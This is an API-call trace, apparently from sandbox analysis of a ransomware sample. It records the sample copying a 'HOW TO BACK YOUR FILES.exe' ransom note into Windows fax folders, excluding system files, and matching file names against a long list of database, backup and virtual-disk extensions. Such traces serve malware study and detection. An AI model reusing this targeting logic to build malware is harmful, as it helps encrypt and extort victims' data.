	[0079.076] lstrcmpiW (lpString1="VirtualInbox", lpString2="pagefile.sys") returned 1
	[0079.076] lstrcmpiW (lpString1="VirtualInbox", lpString2="boot") returned 1
	[0079.076] lstrcmpiW (lpString1="VirtualInbox", lpString2="ids.txt") returned 1
	[0079.076] lstrcmpiW (lpString1="VirtualInbox", lpString2="ntuser.dat") returned 1
	[0079.076] lstrcmpiW (lpString1="VirtualInbox", lpString2="perflogs") returned 1
	[0079.076] lstrcmpiW (lpString1="VirtualInbox", lpString2="MSBuild") returned 1
	[0079.076] lstrlenW (lpString="VirtualInbox") returned 12
	[0079.076] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems") returned 55
	[0079.076] lstrcpyW (in: lpString1=0x119e664, lpString2="VirtualInbox" | out: lpString1="VirtualInbox") returned="VirtualInbox"
	[0079.076] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0079.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x591440
	[0079.077] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc90 | out: ListHead=0x5b75f0, ListEntry=0x59fc90) returned 0x59fd70
	[0079.077] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f78f770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 0
	[0079.077] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.077] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc90
	[0079.077] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox"
	[0079.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591440 | out: hHeap=0x580000) returned 1
	[0079.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0079.077] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned 58
	[0079.077] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox"
	[0079.077] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.077] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.078] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.078] GetLastError () returned 0x0
	[0079.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.078] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.078] CloseHandle (hObject=0x10c) returned 1
	[0079.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.078] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.078] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f78f770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.078] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.078] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.078] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.078] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f78f770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.078] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.078] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.078] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.078] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.078] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2f7b58d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7b58d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0079.078] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.079] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0079.079] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0079.079] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0079.079] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0079.079] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0079.079] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0079.079] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0079.079] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0079.079] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0079.079] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0079.079] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0079.079] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0079.079] lstrlenW (lpString="en-US") returned 5
	[0079.079] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*") returned 60
	[0079.079] lstrcpyW (in: lpString1=0x119e67e, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0079.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0079.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8f28
	[0079.079] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc90 | out: ListHead=0x5b75f0, ListEntry=0x59fc90) returned 0x59fd70
	[0079.079] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f78f770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.079] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.079] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f78f770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0079.079] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.079] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc90
	[0079.079] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US"
	[0079.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0079.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0079.079] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned 64
	[0079.079] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US"
	[0079.079] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.079] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.080] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.080] GetLastError () returned 0x0
	[0079.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.080] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.080] CloseHandle (hObject=0x10c) returned 1
	[0079.080] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.080] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.080] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2f7b58d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7b58d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.081] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.081] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.081] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.081] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2f7b58d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7b58d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.081] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.081] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.081] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.081] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.081] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f7b58d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f7b58d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.081] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.081] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15dbe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WelcomeFax.tif", cAlternateFileName="")) returned 1
	[0079.081] lstrcmpiW (lpString1="WelcomeFax.tif", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.081] lstrcmpiW (lpString1="WelcomeFax.tif", lpString2="Apollon865.txt.exe") returned 1
	[0079.081] lstrcmpiW (lpString1="WelcomeFax.tif", lpString2=".") returned 1
	[0079.081] lstrcmpiW (lpString1="WelcomeFax.tif", lpString2="..") returned 1
	[0079.081] lstrcmpiW (lpString1="WelcomeFax.tif", lpString2="windows") returned -1
	[0079.081] lstrcmpiW (lpString1="WelcomeFax.tif", lpString2="bootmgr") returned 1
	[0079.081] lstrcmpiW (lpString1="WelcomeFax.tif", lpString2="temp") returned 1
	[0079.081] lstrcmpiW (lpString1="WelcomeFax.tif", lpString2="pagefile.sys") returned 1
	[0079.081] lstrcmpiW (lpString1="WelcomeFax.tif", lpString2="boot") returned 1
	[0079.081] lstrcmpiW (lpString1="WelcomeFax.tif", lpString2="ids.txt") returned 1
	[0079.081] lstrcmpiW (lpString1="WelcomeFax.tif", lpString2="ntuser.dat") returned 1
	[0079.081] lstrcmpiW (lpString1="WelcomeFax.tif", lpString2="perflogs") returned 1
	[0079.081] lstrcmpiW (lpString1="WelcomeFax.tif", lpString2="MSBuild") returned 1
	[0079.081] lstrlenW (lpString="WelcomeFax.tif") returned 14
	[0079.081] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*") returned 66
	[0079.081] lstrcpyW (in: lpString1=0x119e68a, lpString2="WelcomeFax.tif" | out: lpString1="WelcomeFax.tif") returned="WelcomeFax.tif"
	[0079.081] lstrlenW (lpString="WelcomeFax.tif") returned 14
	[0079.081] lstrlenW (lpString="Apollon865") returned 10
	[0079.081] lstrcmpiW (lpString1="omeFax.tif", lpString2="Apollon865") returned 1
	[0079.081] lstrlenW (lpString=".dll") returned 4
	[0079.081] lstrcmpiW (lpString1="WelcomeFax.tif", lpString2=".dll") returned 1
	[0079.081] lstrlenW (lpString=".lnk") returned 4
	[0079.081] lstrcmpiW (lpString1="WelcomeFax.tif", lpString2=".lnk") returned 1
	[0079.082] lstrlenW (lpString=".ini") returned 4
	[0079.082] lstrcmpiW (lpString1="WelcomeFax.tif", lpString2=".ini") returned 1
	[0079.082] lstrlenW (lpString=".sys") returned 4
	[0079.082] lstrcmpiW (lpString1="WelcomeFax.tif", lpString2=".sys") returned 1
	[0079.082] lstrlenW (lpString="WelcomeFax.tif") returned 14
	[0079.082] lstrlenW (lpString="bak") returned 3
	[0079.082] lstrcmpiW (lpString1="tif", lpString2="bak") returned 1
	[0079.082] lstrlenW (lpString="ba_") returned 3
	[0079.082] lstrcmpiW (lpString1="tif", lpString2="ba_") returned 1
	[0079.082] lstrlenW (lpString="dbb") returned 3
	[0079.082] lstrcmpiW (lpString1="tif", lpString2="dbb") returned 1
	[0079.082] lstrlenW (lpString="vmdk") returned 4
	[0079.082] lstrcmpiW (lpString1=".tif", lpString2="vmdk") returned -1
	[0079.082] lstrlenW (lpString="rar") returned 3
	[0079.082] lstrcmpiW (lpString1="tif", lpString2="rar") returned 1
	[0079.082] lstrlenW (lpString="zip") returned 3
	[0079.082] lstrcmpiW (lpString1="tif", lpString2="zip") returned -1
	[0079.082] lstrlenW (lpString="tgz") returned 3
	[0079.082] lstrcmpiW (lpString1="tif", lpString2="tgz") returned 1
	[0079.082] lstrlenW (lpString="vbox") returned 4
	[0079.082] lstrcmpiW (lpString1=".tif", lpString2="vbox") returned -1
	[0079.082] lstrlenW (lpString="vdi") returned 3
	[0079.082] lstrcmpiW (lpString1="tif", lpString2="vdi") returned -1
	[0079.082] lstrlenW (lpString="vhd") returned 3
	[0079.082] lstrcmpiW (lpString1="tif", lpString2="vhd") returned -1
	[0079.082] lstrlenW (lpString="vhdx") returned 4
	[0079.082] lstrcmpiW (lpString1=".tif", lpString2="vhdx") returned -1
	[0079.082] lstrlenW (lpString="avhd") returned 4
	[0079.082] lstrcmpiW (lpString1=".tif", lpString2="avhd") returned -1
	[0079.082] lstrlenW (lpString="db") returned 2
	[0079.082] lstrcmpiW (lpString1="if", lpString2="db") returned 1
	[0079.082] lstrlenW (lpString="db2") returned 3
	[0079.082] lstrcmpiW (lpString1="tif", lpString2="db2") returned 1
	[0079.082] lstrlenW (lpString="db3") returned 3
	[0079.082] lstrcmpiW (lpString1="tif", lpString2="db3") returned 1
	[0079.082] lstrlenW (lpString="dbf") returned 3
	[0079.082] lstrcmpiW (lpString1="tif", lpString2="dbf") returned 1
	[0079.082] lstrlenW (lpString="mdf") returned 3
	[0079.083] lstrcmpiW (lpString1="tif", lpString2="mdf") returned 1
	[0079.083] lstrlenW (lpString="mdb") returned 3
	[0079.083] lstrcmpiW (lpString1="tif", lpString2="mdb") returned 1
	[0079.083] lstrlenW (lpString="sql") returned 3
	[0079.083] lstrcmpiW (lpString1="tif", lpString2="sql") returned 1
	[0079.083] lstrlenW (lpString="sqlite") returned 6
	[0079.083] lstrcmpiW (lpString1="ax.tif", lpString2="sqlite") returned -1
	[0079.083] lstrlenW (lpString="sqlite3") returned 7
	[0079.083] lstrcmpiW (lpString1="Fax.tif", lpString2="sqlite3") returned -1
	[0079.083] lstrlenW (lpString="sqlitedb") returned 8
	[0079.083] lstrcmpiW (lpString1="eFax.tif", lpString2="sqlitedb") returned -1
	[0079.083] lstrlenW (lpString="xml") returned 3
	[0079.083] lstrcmpiW (lpString1="tif", lpString2="xml") returned -1
	[0079.083] lstrlenW (lpString="$er") returned 3
	[0079.083] lstrcmpiW (lpString1="tif", lpString2="$er") returned 1
	[0079.083] lstrlenW (lpString="4dd") returned 3
	[0079.083] lstrcmpiW (lpString1="tif", lpString2="4dd") returned 1
	[0079.083] lstrlenW (lpString="4dl") returned 3
	[0079.083] lstrcmpiW (lpString1="tif", lpString2="4dl") returned 1
	[0079.083] lstrlenW (lpString="^^^") returned 3
	[0079.083] lstrcmpiW (lpString1="tif", lpString2="^^^") returned 1
	[0079.083] lstrlenW (lpString="abs") returned 3
	[0079.083] lstrcmpiW (lpString1="tif", lpString2="abs") returned 1
	[0079.083] lstrlenW (lpString="abx") returned 3
	[0079.083] lstrcmpiW (lpString1="tif", lpString2="abx") returned 1
	[0079.083] lstrlenW (lpString="accdb") returned 5
	[0079.083] lstrcmpiW (lpString1="x.tif", lpString2="accdb") returned 1
	[0079.083] lstrlenW (lpString="accdc") returned 5
	[0079.083] lstrcmpiW (lpString1="x.tif", lpString2="accdc") returned 1
	[0079.083] lstrlenW (lpString="accde") returned 5
	[0079.083] lstrcmpiW (lpString1="x.tif", lpString2="accde") returned 1
	[0079.083] lstrlenW (lpString="accdr") returned 5
	[0079.083] lstrcmpiW (lpString1="x.tif", lpString2="accdr") returned 1
	[0079.083] lstrlenW (lpString="accdt") returned 5
	[0079.083] lstrcmpiW (lpString1="x.tif", lpString2="accdt") returned 1
	[0079.083] lstrlenW (lpString="accdw") returned 5
	[0079.083] lstrcmpiW (lpString1="x.tif", lpString2="accdw") returned 1
	[0079.083] lstrlenW (lpString="accft") returned 5
	[0079.084] lstrcmpiW (lpString1="x.tif", lpString2="accft") returned 1
	[0079.084] lstrlenW (lpString="adb") returned 3
	[0079.084] lstrcmpiW (lpString1="tif", lpString2="adb") returned 1
	[0079.084] lstrlenW (lpString="adb") returned 3
	[0079.084] lstrcmpiW (lpString1="tif", lpString2="adb") returned 1
	[0079.084] lstrlenW (lpString="ade") returned 3
	[0079.084] lstrcmpiW (lpString1="tif", lpString2="ade") returned 1
	[0079.084] lstrlenW (lpString="adf") returned 3
	[0079.084] lstrcmpiW (lpString1="tif", lpString2="adf") returned 1
	[0079.084] lstrlenW (lpString="adn") returned 3
	[0079.084] lstrcmpiW (lpString1="tif", lpString2="adn") returned 1
	[0079.084] lstrlenW (lpString="adp") returned 3
	[0079.084] lstrcmpiW (lpString1="tif", lpString2="adp") returned 1
	[0079.084] lstrlenW (lpString="alf") returned 3
	[0079.084] lstrcmpiW (lpString1="tif", lpString2="alf") returned 1
	[0079.084] lstrlenW (lpString="ask") returned 3
	[0079.084] lstrcmpiW (lpString1="tif", lpString2="ask") returned 1
	[0079.084] lstrlenW (lpString="btr") returned 3
	[0079.084] lstrcmpiW (lpString1="tif", lpString2="btr") returned 1
	[0079.084] lstrlenW (lpString="cat") returned 3
	[0079.084] lstrcmpiW (lpString1="tif", lpString2="cat") returned 1
	[0079.084] lstrlenW (lpString="cdb") returned 3
	[0079.084] lstrcmpiW (lpString1="tif", lpString2="cdb") returned 1
	[0079.084] lstrlenW (lpString="ckp") returned 3
	[0079.084] lstrcmpiW (lpString1="tif", lpString2="ckp") returned 1
	[0079.084] lstrlenW (lpString="cma") returned 3
	[0079.084] lstrcmpiW (lpString1="tif", lpString2="cma") returned 1
	[0079.084] lstrlenW (lpString="cpd") returned 3
	[0079.084] lstrcmpiW (lpString1="tif", lpString2="cpd") returned 1
	[0079.084] lstrlenW (lpString="dacpac") returned 6
	[0079.084] lstrcmpiW (lpString1="ax.tif", lpString2="dacpac") returned -1
	[0079.084] lstrlenW (lpString="dad") returned 3
	[0079.084] lstrcmpiW (lpString1="tif", lpString2="dad") returned 1
	[0079.084] lstrlenW (lpString="dadiagrams") returned 10
	[0079.084] lstrcmpiW (lpString1="omeFax.tif", lpString2="dadiagrams") returned 1
	[0079.084] lstrlenW (lpString="daschema") returned 8
	[0079.084] lstrcmpiW (lpString1="eFax.tif", lpString2="daschema") returned 1
	[0079.085] lstrlenW (lpString="db-journal") returned 10
	[0079.085] lstrcmpiW (lpString1="omeFax.tif", lpString2="db-journal") returned 1
	[0079.085] lstrlenW (lpString="db-shm") returned 6
	[0079.085] lstrcmpiW (lpString1="ax.tif", lpString2="db-shm") returned -1
	[0079.085] lstrlenW (lpString="db-wal") returned 6
	[0079.085] lstrcmpiW (lpString1="ax.tif", lpString2="db-wal") returned -1
	[0079.085] lstrlenW (lpString="dbc") returned 3
	[0079.085] lstrcmpiW (lpString1="tif", lpString2="dbc") returned 1
	[0079.085] lstrlenW (lpString="dbs") returned 3
	[0079.085] lstrcmpiW (lpString1="tif", lpString2="dbs") returned 1
	[0079.085] lstrlenW (lpString="dbt") returned 3
	[0079.085] lstrcmpiW (lpString1="tif", lpString2="dbt") returned 1
	[0079.085] lstrlenW (lpString="dbv") returned 3
	[0079.085] lstrcmpiW (lpString1="tif", lpString2="dbv") returned 1
	[0079.085] lstrlenW (lpString="dbx") returned 3
	[0079.085] lstrcmpiW (lpString1="tif", lpString2="dbx") returned 1
	[0079.085] lstrlenW (lpString="dcb") returned 3
	[0079.085] lstrcmpiW (lpString1="tif", lpString2="dcb") returned 1
	[0079.085] lstrlenW (lpString="dct") returned 3
	[0079.085] lstrcmpiW (lpString1="tif", lpString2="dct") returned 1
	[0079.085] lstrlenW (lpString="dcx") returned 3
	[0079.085] lstrcmpiW (lpString1="tif", lpString2="dcx") returned 1
	[0079.085] lstrlenW (lpString="ddl") returned 3
	[0079.085] lstrcmpiW (lpString1="tif", lpString2="ddl") returned 1
	[0079.085] lstrlenW (lpString="dlis") returned 4
	[0079.085] lstrcmpiW (lpString1=".tif", lpString2="dlis") returned -1
	[0079.085] lstrlenW (lpString="dp1") returned 3
	[0079.085] lstrcmpiW (lpString1="tif", lpString2="dp1") returned 1
	[0079.085] lstrlenW (lpString="dqy") returned 3
	[0079.085] lstrcmpiW (lpString1="tif", lpString2="dqy") returned 1
	[0079.085] lstrlenW (lpString="dsk") returned 3
	[0079.085] lstrcmpiW (lpString1="tif", lpString2="dsk") returned 1
	[0079.085] lstrlenW (lpString="dsn") returned 3
	[0079.085] lstrcmpiW (lpString1="tif", lpString2="dsn") returned 1
	[0079.085] lstrlenW (lpString="dtsx") returned 4
	[0079.085] lstrcmpiW (lpString1=".tif", lpString2="dtsx") returned -1
	[0079.085] lstrlenW (lpString="dxl") returned 3
	[0079.085] lstrcmpiW (lpString1="tif", lpString2="dxl") returned 1
	[0079.086] lstrlenW (lpString="eco") returned 3
	[0079.086] lstrcmpiW (lpString1="tif", lpString2="eco") returned 1
	[0079.086] lstrlenW (lpString="ecx") returned 3
	[0079.086] lstrcmpiW (lpString1="tif", lpString2="ecx") returned 1
	[0079.086] lstrlenW (lpString="edb") returned 3
	[0079.086] lstrcmpiW (lpString1="tif", lpString2="edb") returned 1
	[0079.086] lstrlenW (lpString="epim") returned 4
	[0079.086] lstrcmpiW (lpString1=".tif", lpString2="epim") returned -1
